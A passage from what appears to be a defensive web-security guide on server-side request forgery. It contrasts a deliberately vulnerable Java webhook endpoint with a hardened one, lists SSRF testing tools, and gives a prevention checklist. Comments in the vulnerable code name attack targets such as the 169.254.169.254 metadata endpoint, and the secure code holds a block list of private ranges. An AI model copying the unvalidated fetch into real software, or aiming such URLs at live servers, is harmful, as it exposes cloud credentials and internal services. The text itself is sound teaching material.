"text-slate-500 font-normal italic">// π΄ VULNERABLE: Webhook Delivery (SSRF)
"text-slate-500 font-normal italic">// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
@RestController
public class WebhookController {
@PostMapping("/api/webhooks/trigger")
public ResponseEntity<?> triggerWebhook(@RequestBody WebhookRequest req) {
String targetUrl = req.getUrl();
String payload = req.getPayload();
"text-slate-500 font-normal italic">// π DANGER: No URL validation
"text-slate-500 font-normal italic">// Attacker sets url to http://169.254.169.254/latest/meta-data/
"text-slate-500 font-normal italic">// or http://internal-api:8080/admin/delete-all
try {
URL url = new URL(targetUrl);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("POST");
conn.setDoOutput(true);
conn.getOutputStream().write(payload.getBytes());
int status = conn.getResponseCode();
return ResponseEntity.ok("Webhook delivered: " + status);
} catch (Exception e) {
return ResponseEntity.status(500).body("Webhook failed");
}
}
}
"text-slate-500 font-normal italic">// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
"text-slate-500 font-normal italic">// π’ SECURE: Webhook Delivery with SSRF Protection
"text-slate-500 font-normal italic">// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
@RestController
public class SecureWebhookController {
private static final Set<String> ALLOWED_SCHEMES = Set.of("https"); "text-slate-500 font-normal italic">// β
HTTPS only
private static final List<IpAddressMatcher> BLOCKED_RANGES = List.of(
new IpAddressMatcher("10.0.0.0/8"),
new IpAddressMatcher("172.16.0.0/12"),
new IpAddressMatcher("192.168.0.0/16"),
new IpAddressMatcher("127.0.0.0/8"),
new IpAddressMatcher("169.254.0.0/16"),
new IpAddressMatcher("::1/128"),
new IpAddressMatcher("fc00::/7")
);
@PostMapping("/api/webhooks/trigger")
public ResponseEntity<?> triggerWebhook(@RequestBody WebhookRequest req) {
String targetUrl = req.getUrl();
"text-slate-500 font-normal italic">// β
Step 1: Parse and validate URL structure
URI uri;
try {
uri = new URI(targetUrl);
} catch (URISyntaxException e) {
return ResponseEntity.badRequest().body("Invalid URL");
}
"text-slate-500 font-normal italic">// β
Step 2: Scheme restriction (HTTPS only for webhooks)
if (!ALLOWED_SCHEMES.contains(uri.getScheme())) {
return ResponseEntity.status(403).body("Only HTTPS webhooks allowed");
}
"text-slate-500 font-normal italic">// β
Step 3: Resolve hostname and validate IP
try {
InetAddress[] addresses = InetAddress.getAllByName(uri.getHost());
for (InetAddress addr : addresses) {
String ip = addr.getHostAddress();
for (IpAddressMatcher blocked : BLOCKED_RANGES) {
if (blocked.matches(ip)) {
return ResponseEntity.status(403)
.body("Webhook target IP is in a blocked range");
}
}
}
} catch (UnknownHostException e) {
return ResponseEntity.badRequest().body("Cannot resolve hostname");
}
"text-slate-500 font-normal italic">// β
Step 4: Use a dedicated HTTP client with restrictions
HttpClient client = HttpClient.newBuilder()
.connectTimeout(Duration.ofSeconds(5))
.followRedirects(HttpClient.Redirect.NEVER) "text-slate-500 font-normal italic">// β
No redirects
.build();
HttpRequest request = HttpRequest.newBuilder()
.uri(uri)
.timeout(Duration.ofSeconds(10))
.POST(HttpRequest.BodyPublishers.ofString(req.getPayload()))
.header("Content-Type", "application/json")
.header("X-Webhook-Signature", computeHmac(req.getPayload()))
.build();
try {
HttpResponse<String> response = client.send(request,
HttpResponse.BodyHandlers.ofString());
return ResponseEntity.ok("Webhook delivered: " + response.statusCode());
} catch (Exception e) {
return ResponseEntity.status(502).body("Webhook delivery failed");
}
}
}Tools & Resources
SSRF Testing Tools
| Tool | Type | Description | Link |
|---|---|---|---|
| SSRFmap | Scanner | Automated SSRF detection and exploitation | github.com/swisskyrepo/SSRFmap |
| Gopherus | Payload Generator | Generate Gopher payloads for SSRF (Redis, MySQL, PostgreSQL, etc.) | github.com/tarunkant/Gopherus |
| Burp Collaborator | OOB Testing | Out-of-band interaction detection for blind SSRF | portswigger.net |
| Interactsh | OOB Testing | Open-source OOB interaction testing (alternative to Burp Collaborator) | github.com/projectdiscovery/interactsh |
| SSRF Sheriff | Scanner | Simple SSRF testing tool | github.com/teknogeek/ssrf-sheriff |
| httprebind | DNS Rebinding | DNS rebinding toolkit for SSRF testing | github.com/brannondorsey/httprebind |
| Nuclei | Scanner | Template-based vulnerability scanner with SSRF templates | github.com/projectdiscovery/nuclei |
Cloud Metadata Protection
| Tool/Feature | Cloud | Description |
|---|---|---|
| IMDSv2 | AWS | Session-token-based metadata access |
| Metadata-Flavor header | GCP | Required header for metadata access |
| Metadata header | Azure | Required Metadata: true header |
| AWS Network Firewall | AWS | Block outbound requests to 169.254.169.254 |
| GCP VPC Service Controls | GCP | Restrict metadata access |
| Azure Network Security Groups | Azure | Block metadata endpoint access |
Educational Resources
| Resource | Type | Link |
|---|---|---|
| PortSwigger SSRF Labs | Interactive Labs | portswigger.net/web-security/ssrf |
| OWASP SSRF Prevention Cheat Sheet | Guide | cheatsheetseries.owasp.org |
| HackTricks SSRF | Reference | book.hacktricks.xyz |
| PayloadsAllTheThings SSRF | Payloads | github.com/swisskyrepo |
β The Ultimate SSRF Checklist
π URL Input Validation
- [ ] All user-supplied URLs are validated before the server fetches them
- [ ] Scheme allowlist enforced: Only http and https permitted (block file://, gopher://, dict://, ftp://, jar://)
- [ ] Domain allowlist enforced: Only pre-approved domains can be fetched
- [ ] Resolved IP validation: Hostname is resolved and ALL IPs checked against blocked ranges (not just the URL string)
- [ ] Blocked IP ranges configured: RFC 1918 (10.x, 172.16-31.x, 192.168.x), loopback (127.x), link-local (169.254.x), IPv6 private/loopback
- [ ] Cloud metadata IPs blocked: 169.254.169.254 (AWS/Azure), 100.100.100.200 (Alibaba), metadata.google.internal (GCP)
- [ ] IPv6 addresses validated: Both IPv4-mapped IPv6 (::ffff:x.x.x.x) and native IPv6 checked
- [ ] URL encoding handled: Double-encoding, Unicode normalization, and null bytes do not bypass filters
- [ ] Redirect validation: Redirects are either disabled or each redirect target is re-validated
- [ ] DNS rebinding mitigated: Hostname resolved once; resolved IP pinned for the connection
βοΈ Cloud Metadata Protection
- [ ] IMDSv2 enforced (AWS): HttpTokens: required on all EC2 instances
- [ ] IMDS hop limit set to 1 (AWS): Prevents metadata access from containers
- [ ] Metadata-Flavor header required (GCP): Verified in all metadata requests
- [ ] Metadata header required (Azure): Metadata: true enforced
- [ ] IAM roles follow least privilege: EC2/Lambda/ECS roles have minimum required permissions
- [ ] Network-level metadata blocking: Firewall rules block application containers from reaching metadata endpoints
- [ ] Metadata access logged and alerted: Any request to metadata endpoints triggers a security alert
ποΈ Application Architecture
- [ ] URL fetching isolated: URL fetch functionality runs in a sandboxed service with no internal network access
- [ ] Egress filtering: Application servers cannot reach internal IP ranges (enforced at network layer)
- [ ] Network segmentation: Internal services (databases, caches, APIs) are not routable from application servers
- [ ] Dedicated fetch proxy: All outbound URL fetching goes through a dedicated proxy with strict controls
- [ ] Timeout and size limits: All outbound requests have strict timeouts (5s) and response size limits (1β5MB)
- [ ] Response sanitization: Proxied responses are stripped of sensitive headers and metadata before returning to the user
π Feature-Specific Checks
- [ ] PDF generators sandboxed: HTML-to-PDF engines cannot access internal URLs or local files
- [ ] Image fetchers validated: Image proxy endpoints validate URLs and content types
- [ ] Webhook URLs validated: User-configured webhook URLs are validated before delivery
- [ ] Link preview services restricted: URL unfurling services cannot access internal endpoints
- [ ] Import-from-URL features validated: CSV/data import from URL validates the destination
- [ ] OAuth redirect URIs validated: Redirect URIs are strictly matched against an allowlist
- [ ] RSS/feed fetchers restricted: Feed readers cannot access internal URLs
π Detection & Monitoring
- [ ] Outbound request logging: All server-side HTTP requests are logged with destination IP and URL
- [ ] Metadata access alerting: Any request to cloud metadata endpoints triggers an immediate alert
- [ ] Internal IP access alerting: Requests to RFC 1918 addresses from application servers are flagged
- [ ] Anomalous outbound traffic detection: Unusual outbound connection patterns are detected
- [ ] SSRF scanning detection: Rapid sequential requests to internal IP ranges are detected and blocked
π Conclusion
Summary Diagram
Key Takeaways
π 1. SSRF turns your server into the attacker's proxy. The server's network position, trust relationships, and cloud credentials become the attacker's tools. The request comes from inside the house.
π 2. Cloud metadata is the crown jewel. In cloud environments, a single SSRF to 169.254.169.254 can yield IAM credentials that grant full account access. Enforce IMDSv2 and block metadata access at the network layer.
π 3. Allowlisting beats blocklisting. Blocking 169.254.169.254 by string match will be bypassed via decimal encoding, IPv6, DNS rebinding, or redirects. Allowlisting permitted domains and validating resolved IPs is far more robust.
π 4. Every URL-fetching feature is an SSRF vector. Image proxies, PDF generators, webhook delivery, link previews, CSV imports, RSS readers β any feature that makes the server fetch a user-supplied URL is a potential SSRF entry point.
π 5. Defense in depth is essential. No single control is sufficient. Combine URL validation, IP checking, network segmentation, egress filtering, metadata protection, and monitoring to create layered defense.
Cost & ROI Breakdown
| Investment | Cost | Prevented Loss |
|---|---|---|
| URL validation library | 1β2 engineer-days | $300M+ (Capital One-scale breach) |
| IMDSv2 enforcement | 1 engineer-day | Cloud account takeover |
| Egress firewall rules | 1β2 engineer-days | Internal network compromise |
| Network segmentation | 1β4 engineer-weeks | Lateral movement prevention |
| SSR